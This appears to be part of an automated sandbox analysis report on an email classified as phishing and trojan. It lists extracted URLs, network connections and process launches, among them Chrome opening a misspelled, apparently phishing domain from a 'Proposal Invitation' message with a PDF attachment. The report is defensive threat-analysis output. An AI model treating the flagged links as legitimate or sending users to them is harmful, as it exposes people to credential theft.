Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://invites.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.microsoftonline.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.windows.local
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://make.powerautomate.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://management.azure.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://management.azure.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officepyservice.office.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://res.cdn.office.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.39
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: chromecache_218.12.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_218.12.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_249.12.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://substrate.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: chromecache_249.12.dr	String found in binary or memory: https://tagassistant.google.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://tasks.office.com
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://td.doubleclick.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_249.12.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_249.12.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_249.12.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://www.google.com
Source: chromecache_249.12.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_249.12.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: https://www.linkedin.com/company/benpro-technologies
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: https://www.linkedin.com/company=
Source: chromecache_218.12.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://www.yammer.com
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: https://www.youtube.com/channel/=
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: https://www.youtube.com/channel/UCg3BMGqYnreiavgk1ljplOw/?guided_help_flow=5

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 23.216.69.213:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.216.69.213:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.7.35:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49800 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.troj.winEML@43/163@20/10

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240418T2304550546-6464.etl

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Proposal Invitation_ Proposal is Due by the EOB May 15.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "E83E2E2F-3C0E-41CF-B558-B807933036CE" "8924B1C6-6665-4B65-867E-5DC3578DA012" "6464" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.pipebending.com/#/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,13760317712537378368,5754615531193540325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ridgelineexcavatoin.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1828,i,17912482148884077037,9483964587081324458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
